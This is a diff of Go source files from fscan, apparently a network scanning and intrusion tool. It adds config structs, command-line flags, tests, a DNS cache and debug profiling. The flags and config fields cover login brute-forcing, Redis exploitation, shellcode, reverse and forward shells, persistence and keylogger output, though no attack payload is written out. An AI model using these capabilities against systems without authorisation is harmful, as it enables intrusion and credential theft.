func TestParseUserPassPairsKeepsAdditionalCredentialFlags(t *testing.T) {
tests := []struct {
name string
fv *FlagVars
}{
{
name: "additional passwords",
fv: &FlagVars{
Username: "root",
Password: "primary",
AddPasswords: "extra",
},
},
{
name: "additional users",
fv: &FlagVars{
Username: "root",
Password: "primary",
AddUsers: "admin",
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
pairs, err := parseUserPassPairs(tt.fv)
if err != nil {
t.Fatalf("parseUserPassPairs error = %v", err)
}
if len(pairs) != 0 {
t.Fatalf("parseUserPassPairs returned exact pairs %#v; additional credential flags would be ignored", pairs)
}
})
}
}
func TestNewConfigDefaultsAreIndependentCopies(t *testing.T) {
cfg := NewConfig()
cfg.Credentials.Userdict["ssh"][0] = "mutated-user"
if fscanconfig.DefaultUserDict["ssh"][0] == "mutated-user" {
t.Fatal("NewConfig userdict shares backing storage with DefaultUserDict")
}
cfg.Credentials.Passwords[0] = "mutated-password"
if fscanconfig.DefaultPasswords[0] == "mutated-password" {
t.Fatal("NewConfig passwords share backing storage with DefaultPasswords")
}
port := 80
cfg.PortMap[port][0] = "mutated-probe"
if fscanconfig.DefaultPortMap[port][0] == "mutated-probe" {
t.Fatal("NewConfig port map shares backing storage with DefaultPortMap")
}
cfg.DefaultMap[0] = "mutated-default-probe"
if fscanconfig.DefaultProbeMap[0] == "mutated-default-probe" {
t.Fatal("NewConfig default map shares backing storage with DefaultProbeMap")
}
}
func TestParseTargetsHostPortDoesNotLeaveSyntheticHost(t *testing.T) {
fv := &FlagVars{Ports: "22"}
info := &HostInfo{Host: "127.0.0.1:8080"}
cfg := BuildConfigFromFlags(fv)
state := NewState()
if err := parseTargets(fv, info, cfg, state); err != nil {
t.Fatalf("parseTargets error = %v", err)
}
if info.Host != "" {
t.Fatalf("info.Host = %q, want empty after host:port extraction", info.Host)
}
if got := state.GetHostPorts(); !reflect.DeepEqual(got, []string{"127.0.0.1:8080"}) {
t.Fatalf("hostPorts = %#v, want host:port target", got)
}
}
func TestNormalizeURLKeepsUppercaseScheme(t *testing.T) {
got := normalizeURL("HTTPS://example.com")
if got != "HTTPS://example.com" {
t.Fatalf("normalizeURL() = %q", got)
}
}
func TestNormalizeURLBracketsIPv6Literals(t *testing.T) {
tests := []struct {
name string
in string
want string
}{
{name: "bare ipv6 without scheme", in: "2001:db8::1", want: "http://[2001:db8::1]"},
{name: "bracketed ipv6 without scheme", in: "[2001:db8::1]", want: "http://[2001:db8::1]"},
{name: "bare ipv6 with scheme", in: "http://2001:db8::1", want: "http://[2001:db8::1]"},
{name: "bare ipv6 path without scheme", in: "2001:db8::1/admin", want: "http://[2001:db8::1]/admin"},
{name: "bare ipv6 query without scheme", in: "2001:db8::1?debug=1", want: "http://[2001:db8::1]?debug=1"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := normalizeURL(tt.in); got != tt.want {
t.Fatalf("normalizeURL(%q) = %q, want %q", tt.in, got, tt.want)
}
})
}
}
+240
View File
@@ -0,0 +1,240 @@
package common
import (
"time"
"github.com/shadow1ng/fscan/common/config"
)
/*
config_struct.go - 配置结构体定义
简化后的结构:
- 高频字段平铺到顶层
- 子配置使用值类型(非指针)
- 删除过度分类的 AdvancedConfig
*/
// =============================================================================
// Config - 扫描器配置
// =============================================================================
// Config 扫描器完整配置 - 初始化后只读,可安全共享
type Config struct {
// 高频访问字段 - 平铺到顶层
Timeout time.Duration // 通用超时
TimeoutExplicit bool // 用户显式指定了 -time
ThreadNum int // 主线程数
ThreadCeiling int // 线程数上限(自适应池允许的最大值)
ThreadNumExplicit bool // 用户显式指定了 -t
ModuleThreadNum int // 模块线程数
ModuleThreadNumExplicit bool // 用户显式指定了 -mt
DisableBrute bool // 禁用暴力破解
DisablePing bool // 禁用Ping检测
DisableTcpProbe bool // 禁用TCP补充探测
// 扫描模式
Mode string // 扫描模式
LocalMode bool // 本地模式
LocalPlugin string // 本地插件名
AliveOnly bool // 仅存活检测
MaxRetries int // 最大重试次数
MaxRetriesExplicit bool // 用户显式指定了 -retry
DetectedNetworkEnv int // 探测到的网络环境(来自 core.NetworkEnv
// 高级功能(从AdvancedConfig合并)
Shellcode string // Shellcode
LocalPluginsList []string // 本地插件列表
DNSLog bool // DNSLog检测
PersistenceTargetFile string // 持久化目标文件
WinPEFile string // WinPE文件
PortMap map[int][]string // 端口映射
DefaultMap []string // 默认映射
// 分组配置 - 值类型
Credentials CredentialConfig
Network NetworkConfig
Output OutputConfig
POC POCConfig
Redis RedisConfig
HTTP HTTPConfig
LocalExploit LocalExploitConfig
Target TargetConfig // 扫描目标配置
// 全局超时
GlobalTimeout time.Duration
// SOCKS5代理端口配置
Socks5ProxyPort int // SOCKS5代理端口
}
// TargetConfig 扫描目标配置
type TargetConfig struct {
Ports string // 端口范围字符串
ExcludePorts string // 排除端口字符串
}
// CredentialConfig 认证相关配置
type CredentialConfig struct {
Username string
Password string
Domain string
Userdict map[string][]string
Passwords []string
UserPassPairs []config.CredentialPair
HashValues []string
HashBytes [][]byte
SSHKeyPath string
}
// NetworkConfig 网络相关配置
type NetworkConfig struct {
HTTPProxy string
Socks5Proxy string
Iface string
WebTimeout time.Duration
MaxRedirects int
PacketRateLimit int64
MaxPacketCount int64
ICMPRate float64
ICMPRateExplicit bool
}
// OutputConfig 输出相关配置
type OutputConfig struct {
File string
Format string
DisableSave bool
NoColor bool
Silent bool
DisableProgress bool
ShowProgress bool
LogLevel string
Language string
PerfStats bool
}
// POCConfig POC扫描相关配置
type POCConfig struct {
PocPath string // POC路径
PocName string // 指定POC名称
Full bool // 完整POC扫描
Num int // POC并发数
NumExplicit bool // 用户显式指定了 -num
Disabled bool // 禁用POC扫描
}
// RedisConfig Redis利用相关配置
type RedisConfig struct {
Disabled bool // 禁用Redis利用
File string // SSH密钥文件
Shell string // 反弹Shell地址
WritePath string // 写入路径
WriteContent string // 写入内容
WriteFile string // 本地文件路径
}
// HTTPConfig HTTP请求相关配置
type HTTPConfig struct {
Cookie string // Cookie
UserAgent string // User-Agent
Accept string // Accept头
}
// LocalExploitConfig 本地利用相关配置
type LocalExploitConfig struct {
ReverseShellTarget string // 反弹Shell目标
ForwardShellPort int // 正向Shell端口
KeyloggerOutputFile string // 键盘记录输出文件
DownloadURL string // 下载URL
DownloadSavePath string // 下载保存路径
}
func cloneStringSlice(values []string) []string {
if values == nil {
return nil
}
return append([]string(nil), values...)
}
func cloneStringSliceMap(values map[string][]string) map[string][]string {
if values == nil {
return nil
}
cloned := make(map[string][]string, len(values))
for key, value := range values {
cloned[key] = cloneStringSlice(value)
}
return cloned
}
func clonePortMap(values map[int][]string) map[int][]string {
if values == nil {
return nil
}
cloned := make(map[int][]string, len(values))
for key, value := range values {
cloned[key] = cloneStringSlice(value)
}
return cloned
}
const minModuleTimeout = 3 * time.Second
// ModuleTimeout 返回插件级超时(用于弱口令测试、服务交互等多轮协议)
// 保证下限 3s,避免自适应把端口扫描超时压低后影响 SSH/SNMP 等交互型协议
func (c *Config) ModuleTimeout() time.Duration {
if c.Timeout >= minModuleTimeout {
return c.Timeout
}
return minModuleTimeout
}
// NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags
func NewConfig() *Config {
return &Config{
// 高频字段 - 使用默认常量
Timeout: time.Duration(DefaultTimeout) * time.Second,
ThreadNum: DefaultThreadNum,
ThreadCeiling: DefaultThreadNum,
ModuleThreadNum: 10,
DisableBrute: false,
DisablePing: false,
DisableTcpProbe: false,
// 扫描模式
Mode: DefaultScanMode,
LocalMode: false,
AliveOnly: false,
MaxRetries: 3,
// 高级功能 - 使用默认配置
PortMap: clonePortMap(config.DefaultPortMap),
DefaultMap: cloneStringSlice(config.DefaultProbeMap),
// 分组配置 - 使用默认字典
Credentials: CredentialConfig{
Userdict: cloneStringSliceMap(config.DefaultUserDict),
Passwords: cloneStringSlice(config.DefaultPasswords),
UserPassPairs: nil,
},
Network: NetworkConfig{
WebTimeout: time.Duration(5) * time.Second,
MaxRedirects: 10,
ICMPRate: 0.1,
},
Output: OutputConfig{
File: "result.txt",
Format: "txt",
ShowProgress: true,
LogLevel: DefaultLogLevel,
Language: DefaultLanguage,
},
POC: POCConfig{
Num: 20,
},
LocalExploit: LocalExploitConfig{
ForwardShellPort: 4444,
},
}
}
+102
View File
@@ -0,0 +1,102 @@
//go:build debug
// +build debug
package debug
import (
"fmt"
"os"
"runtime"
"runtime/pprof"
"runtime/trace"
"github.com/shadow1ng/fscan/common/i18n"
)
var (
cpuProfile *os.File
traceFile *os.File
profilesPath = "./profiles"
)
func Start() {
if err := os.MkdirAll(profilesPath, 0755); err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_profiles_failed", err))
return
}
var err error
cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
if err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_cpu_profile_failed", err))
} else {
if err := pprof.StartCPUProfile(cpuProfile); err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_cpu_profile_failed", err))
cpuProfile.Close()
cpuProfile = nil
} else {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_cpu_profile_started", profilesPath))
}
}
traceFile, err = os.Create(profilesPath + "/trace.out")
if err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_trace_failed", err))
} else {
if err := trace.Start(traceFile); err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_trace_failed", err))
traceFile.Close()
traceFile = nil
} else {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_trace_started", profilesPath))
}
}
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_profiling_started", profilesPath))
}
func Stop() {
if cpuProfile != nil {
pprof.StopCPUProfile()
cpuProfile.Close()
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_cpu_profile_saved"))
}
if traceFile != nil {
trace.Stop()
traceFile.Close()
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_trace_saved"))
}
memProfile, err := os.Create(profilesPath + "/mem.prof")
if err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_mem_profile_failed", err))
} else {
runtime.GC()
if err := pprof.WriteHeapProfile(memProfile); err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_mem_profile_failed", err))
} else {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_mem_profile_saved", profilesPath))
}
memProfile.Close()
}
goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
if err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_goroutine_profile_failed", err))
} else {
if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_goroutine_profile_failed", err))
} else {
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_goroutine_profile_saved", profilesPath))
}
goroutineProfile.Close()
}
fmt.Printf("\n[DEBUG] %s\n", i18n.Tr("debug_profiles_saved", profilesPath))
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_view_methods"))
fmt.Printf(" %s: go tool pprof -http=:8081 %s/cpu.prof\n", i18n.GetText("debug_cpu_flamegraph"), profilesPath)
fmt.Printf(" %s: go tool pprof -http=:8081 %s/mem.prof\n", i18n.GetText("debug_mem_flamegraph"), profilesPath)
fmt.Printf(" %s: go tool pprof -http=:8081 %s/goroutine.prof\n", i18n.GetText("debug_goroutine_analysis"), profilesPath)
fmt.Printf(" %s: go tool trace %s/trace.out\n", i18n.GetText("debug_execution_timeline"), profilesPath)
}
+9
View File
@@ -0,0 +1,9 @@
//go:build !debug
// +build !debug
package debug
// 生产版本:pprof 完全不编译进来
func Start() {}
func Stop() {}
+11
View File
@@ -0,0 +1,11 @@
//go:build !debug
// +build !debug
package debug
import "testing"
func TestStubStartStop(t *testing.T) {
Start()
Stop()
}
+28
View File
@@ -0,0 +1,28 @@
package common
import (
"net"
"sync"
)
// DNSCache 并发安全的 DNS 解析缓存
// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用
var DNSCache = &dnsCache{}
type dnsCache struct {
m sync.Map // host -> *net.IPAddr
}
// ResolveIP 解析 host 为 *net.IPAddr,结果缓存
func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
if v, ok := c.m.Load(host); ok {
addr, _ := v.(*net.IPAddr)
return addr, nil
}
addr, err := net.ResolveIPAddr("ip", host)
if err != nil {
return nil, err
}
c.m.Store(host, addr)
return addr, nil
}
+23
View File
@@ -0,0 +1,23 @@
package common
import "testing"
func TestDNSCacheResolveIPAndCacheHit(t *testing.T) {
cache := &dnsCache{}
first, err := cache.ResolveIP("127.0.0.1")
if err != nil {
t.Fatalf("ResolveIP loopback error = %v", err)
}
second, err := cache.ResolveIP("127.0.0.1")
if err != nil {
t.Fatalf("ResolveIP cached loopback error = %v", err)
}
if first != second {
t.Fatal("ResolveIP should return cached address on second lookup")
}
if _, err := cache.ResolveIP("bad host with spaces"); err == nil {
t.Fatal("ResolveIP should reject an invalid host")
}
}
+397
View File
@@ -0,0 +1,397 @@
package common
import (
"errors"
"flag"
"fmt"
"os"
"strings"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
)
// ErrShowHelp 表示用户请求显示帮助(正常退出)
var ErrShowHelp = errors.New("show help requested")
// IsLocalMode 由 plugins 包注册,判断 -m 指定的是否全是本地插件
var IsLocalMode func(mode string) bool
// Banner 显示程序横幅信息
func Banner() {
// 静默模式下完全跳过Banner显示
if flagVars.Silent {
return
}
// 定义暗绿色系
colors := []color.Attribute{
color.FgGreen, // 基础绿
color.FgHiGreen, // 亮绿
}
lines := []string{
" ___ _ ",
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
}
// 获取最长行的长度
maxLength := 0
for _, line := range lines {
if len(line) > maxLength {
maxLength = len(line)
}
}
// 创建边框
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
// 打印banner
fmt.Println(topBorder)
for lineNum, line := range lines {
fmt.Print("│ ")
if flagVars.NoColor {
// 无色彩模式下使用普通文本
fmt.Print(line)
} else {
// 使用对应的颜色打印每个字符
c := color.New(colors[lineNum%2])
_, _ = c.Print(line)
}
// 补齐空格
padding := maxLength - len(line)
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
}
fmt.Println(bottomBorder)
// 打印版本信息
versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date)
if commit == "unknown" {
versionStr = fmt.Sprintf(" Fscan %s", version)
}
if flagVars.NoColor {
fmt.Printf("%s\n\n", versionStr)
} else {
c := color.New(colors[1])
_, _ = c.Printf("%s\n\n", versionStr)
}
}
// Flag 解析命令行参数并配置扫描选项
// 返回ErrShowHelp表示用户请求帮助(正常退出),其他error表示参数错误
func Flag(Info *HostInfo) error {
// 预处理语言设置 - 在定义flag之前检查lang参数
preProcessLanguage()
fv := flagVars // 使用全局 FlagVars 实例
// ═════════════════════════════════════════════════
// 目标配置参数
// ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
flag.StringVar(&fv.ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
flag.StringVar(&fv.ExcludeHostsFile, "ehf", "", i18n.GetText("flag_exclude_hosts_file"))
flag.StringVar(&fv.Ports, "p", config.MainPorts, i18n.GetText("flag_ports"))
flag.StringVar(&fv.ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
flag.StringVar(&fv.HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
flag.StringVar(&fv.PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
// ═════════════════════════════════════════════════
// 扫描控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
flag.StringVar(&fv.LocalPlugin, "local", "", i18n.GetText("flag_local_plugin"))
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
// ═════════════════════════════════════════════════
// 认证与凭据参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.Username, "user", "", i18n.GetText("flag_username"))
flag.StringVar(&fv.Password, "pwd", "", i18n.GetText("flag_password"))
flag.StringVar(&fv.AddUsers, "usera", "", i18n.GetText("flag_add_users"))
flag.StringVar(&fv.AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
flag.StringVar(&fv.UsersFile, "userf", "", i18n.GetText("flag_users_file"))
flag.StringVar(&fv.PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
flag.StringVar(&fv.UserPassFile, "upf", "", i18n.GetText("flag_userpass_file"))
flag.StringVar(&fv.HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
flag.StringVar(&fv.HashValue, "hash", "", i18n.GetText("flag_hash_value"))
flag.StringVar(&fv.Domain, "domain", "", i18n.GetText("flag_domain"))
flag.StringVar(&fv.SSHKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key"))
// ═════════════════════════════════════════════════
// Web扫描参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.TargetURL, "u", "", i18n.GetText("flag_target_url"))
flag.StringVar(&fv.URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
flag.StringVar(&fv.Cookie, "cookie", "", i18n.GetText("flag_cookie"))
flag.StringVar(&fv.UserAgent, "ua", "", i18n.GetText("flag_user_agent"))
flag.Int64Var(&fv.WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
flag.IntVar(&fv.MaxRedirects, "max-redirect", 10, i18n.GetText("flag_max_redirects"))
flag.StringVar(&fv.HTTPProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
flag.StringVar(&fv.Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
flag.StringVar(&fv.Iface, "iface", "", i18n.GetText("flag_iface"))
// ═════════════════════════════════════════════════
// POC测试参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
flag.StringVar(&fv.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
flag.BoolVar(&fv.PocFull, "full", false, i18n.GetText("flag_poc_full"))
flag.BoolVar(&fv.DNSLog, "dns", false, i18n.GetText("flag_dns_log"))
flag.IntVar(&fv.PocNum, "num", 20, i18n.GetText("flag_poc_num"))
flag.BoolVar(&fv.DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
// ═════════════════════════════════════════════════
// Redis利用参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
flag.StringVar(&fv.RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
flag.StringVar(&fv.RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
flag.StringVar(&fv.RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
flag.StringVar(&fv.RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
flag.BoolVar(&fv.DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
// ═════════════════════════════════════════════════
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&fv.DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
flag.IntVar(&fv.MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
// ═════════════════════════════════════════════════
// 发包频率控制参数
// ═════════════════════════════════════════════════
flag.Int64Var(&fv.PacketRateLimit, "rate", 0, i18n.GetText("flag_packet_rate_limit"))
flag.Int64Var(&fv.MaxPacketCount, "maxpkts", 0, i18n.GetText("flag_max_packet_count"))
flag.Float64Var(&fv.ICMPRate, "icmp-rate", 0.1, i18n.GetText("flag_icmp_rate"))
// ═════════════════════════════════════════════════
// 输出与显示控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save"))
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
flag.BoolVar(&fv.PerfStats, "perf", false, i18n.GetText("flag_perf_stats"))
// ═════════════════════════════════════════════════
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
// 文件下载插件参数
flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数
flag.BoolVar(&fv.ShowHelp, "help", false, i18n.GetText("flag_help"))
// 解析命令行参数
if err := parseCommandLineArgs(); err != nil {
return err
}
// 检测用户是否显式指定了 -t
flag.Visit(func(f *flag.Flag) {
switch f.Name {
case "t":
fv.ThreadNumExplicit = true
case "time":
fv.TimeoutExplicit = true
case "mt":
fv.ModuleThreadNumExplicit = true
case "retry":
fv.MaxRetriesExplicit = true
case "icmp-rate":
fv.ICMPRateExplicit = true
case "num":
fv.PocNumExplicit = true
}
})
// 设置语言
i18n.SetLanguage(fv.Language)
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
if fv.ShowHelp || shouldShowHelp(Info, fv) {
flag.Usage()
return ErrShowHelp
}
return nil
}
// parseCommandLineArgs 解析命令行参数
func parseCommandLineArgs() error {
if err := flag.CommandLine.Parse(normalizeMultiValueFlagArgs(os.Args[1:], "-pwda")); err != nil {
return err
}
// 显示Banner
Banner()
// 检查参数冲突
return checkParameterConflicts()
}
func normalizeMultiValueFlagArgs(args []string, names ...string) []string {
multiValueFlags := make(map[string]struct{}, len(names))
for _, name := range names {
multiValueFlags[name] = struct{}{}
}
normalized := make([]string, 0, len(args))
for i := 0; i < len(args); i++ {
arg := args[i]
name, value, ok := splitMultiValueFlag(arg, multiValueFlags)
if !ok {
normalized = append(normalized, arg)
continue
}
values := []string{}
if value != "" {
values = append(values, value)
}
j := i + 1
for ; j < len(args); j++ {
if strings.HasPrefix(args[j], "-") {
break
}
values = append(values, args[j])
}
i = j - 1
if strings.Contains(arg, "=") {
normalized = append(normalized, name+"="+strings.Join(values, ","))
} else {
normalized = append(normalized, name)
if len(values) > 0 {
normalized = append(normalized, strings.Join(values, ","))
}
}
}
return normalized
}
func splitMultiValueFlag(arg string, names map[string]struct{}) (string, string, bool) {
if _, ok := names[arg]; ok {
return arg, "", true
}
for name := range names {
prefix := name + "="
if strings.HasPrefix(arg, prefix) {
return name, strings.TrimPrefix(arg, prefix), true
}
}
return "", "", false
}
// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
func preProcessLanguage() {
// 遍历命令行参数查找-lang参数
for i, arg := range os.Args {
if arg == "-lang" && i+1 < len(os.Args) {
lang := os.Args[i+1]
if lang == "en" || lang == "zh" {
flagVars.Language = lang
i18n.SetLanguage(lang)
return
}
} else if strings.HasPrefix(arg, "-lang=") {
lang := strings.TrimPrefix(arg, "-lang=")
if lang == "en" || lang == "zh" {
flagVars.Language = lang
i18n.SetLanguage(lang)
return
}
}
}
// 检查环境变量
envLang := os.Getenv("FS_LANG")
if envLang == "en" || envLang == "zh" {
flagVars.Language = envLang
i18n.SetLanguage(envLang)
}
}
// shouldShowHelp 检查是否应该显示帮助信息
func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
// Web模式不需要目标参数
if WebMode {
return false
}
// 检查是否提供了扫描目标
hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != ""
// 本地模式不需要目标主机
if fv.LocalPlugin != "" {
return false
}
// -m 指定的全是本地插件时也不需要目标
if IsLocalMode != nil && IsLocalMode(fv.ScanMode) {
return false
}
// 如果没有提供任何扫描目标,则显示帮助
return !hasTarget
}
// checkParameterConflicts 检查参数冲突和兼容性
// 返回error而不是调用os.Exit,让调用者决定如何处理
func checkParameterConflicts() error {
fv := flagVars
// -debug 等价于 -log debug
if fv.Debug {
fv.LogLevel = LogLevelDebug
}
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
if fv.AliveOnly && fv.ScanMode == "icmp" {
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
}
// 检查本地插件参数
if fv.LocalPlugin != "" {
// 检查是否包含分隔符(确保只能指定单个插件)
invalidChars := []string{",", ";", " ", "|", "&"}
for _, char := range invalidChars {
if strings.Contains(fv.LocalPlugin, char) {
return fmt.Errorf("%s", i18n.Tr("param_local_multi_plugin", char))
}
}
}
return nil
}
+39
View File
@@ -0,0 +1,39 @@
package common
import (
"reflect"
"testing"
)
func TestNormalizeMultiValueFlagArgs(t *testing.T) {
tests := []struct {
name string
args []string
want []string
}{
{
name: "space separated pwda values",
args: []string{"-h", "192.168.1.1", "-pwda", "pass1", "pass2", "pass3", "-m", "ssh"},
want: []string{"-h", "192.168.1.1", "-pwda", "pass1,pass2,pass3", "-m", "ssh"},
},
{
name: "equals form with extra values",
args: []string{"-pwda=pass1", "pass2", "-h", "192.168.1.1"},
want: []string{"-pwda=pass1,pass2", "-h", "192.168.1.1"},
},
{
name: "unrelated args unchanged",
args: []string{"-h", "192.168.1.1", "-m", "ssh"},
want: []string{"-h", "192.168.1.1", "-m", "ssh"},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := normalizeMultiValueFlagArgs(tt.args, "-pwda")
if !reflect.DeepEqual(got, tt.want) {
t.Fatalf("normalizeMultiValueFlagArgs() = %#v, want %#v", got, tt.want)
}
})
}
}
+255
View File
@@ -0,0 +1,255 @@
package common
import (
"os"
"time"
"github.com/shadow1ng/fscan/common/config"
"golang.org/x/term"
)
/*
flag_config.go - 命令行参数直接解析到Config
flag直接写入配置结构。
*/
// =============================================================================
// FlagVars - 命令行参数原始值
// =============================================================================
// FlagVars 存储命令行解析的原始值
// 某些字段需要类型转换(如 int64 秒 → time.Duration
type FlagVars struct {
// 目标配置
Host string
ExcludeHosts string
ExcludeHostsFile string
Ports string
ExcludePorts string
HostsFile string
PortsFile string
// 扫描控制
ScanMode string
ThreadNum int
ThreadNumExplicit bool // 用户显式指定了 -t
ModuleThreadNum int
ModuleThreadNumExplicit bool
TimeoutSec int64 // 秒,需转换为 time.Duration
TimeoutExplicit bool
GlobalTimeout int64
DisablePing bool
DisableTcpProbe bool
LocalPlugin string
AliveOnly bool
DisableBrute bool
MaxRetries int
MaxRetriesExplicit bool
// 认证凭据
Username string
Password string
AddUsers string
AddPasswords string
UsersFile string
PasswordsFile string
UserPassFile string
HashFile string
HashValue string
Domain string
SSHKeyPath string
// Web扫描
TargetURL string
URLsFile string
Cookie string
UserAgent string
Accept string
WebTimeout int64 // 秒
MaxRedirects int
HTTPProxy string
Socks5Proxy string
Iface string
// POC测试
PocPath string
PocName string
PocFull bool
DNSLog bool
PocNum int
PocNumExplicit bool
DisablePocScan bool
// Redis利用
RedisFile string
RedisShell string
RedisWritePath string
RedisWriteContent string
RedisWriteFile string
DisableRedis bool
// 发包频率
PacketRateLimit int64
MaxPacketCount int64
ICMPRate float64
ICMPRateExplicit bool
// 输出控制
Outputfile string
OutputFormat string
DisableSave bool
Silent bool
NoColor bool
LogLevel string
Debug bool
DisableProgress bool
PerfStats bool
Language string
// 高级功能
Shellcode string
ReverseShellTarget string
Socks5ProxyPort int
ForwardShellPort int
PersistenceTargetFile string
WinPEFile string
KeyloggerOutputFile string
DownloadURL string
DownloadSavePath string
// 帮助
ShowHelp bool
}
// =============================================================================
// 全局 FlagVars 实例(仅在解析阶段使用)
// =============================================================================
var flagVars = &FlagVars{}
// GetFlagVars 获取解析后的命令行参数(供 parse.go 等使用)
func GetFlagVars() *FlagVars {
return flagVars
}
// =============================================================================
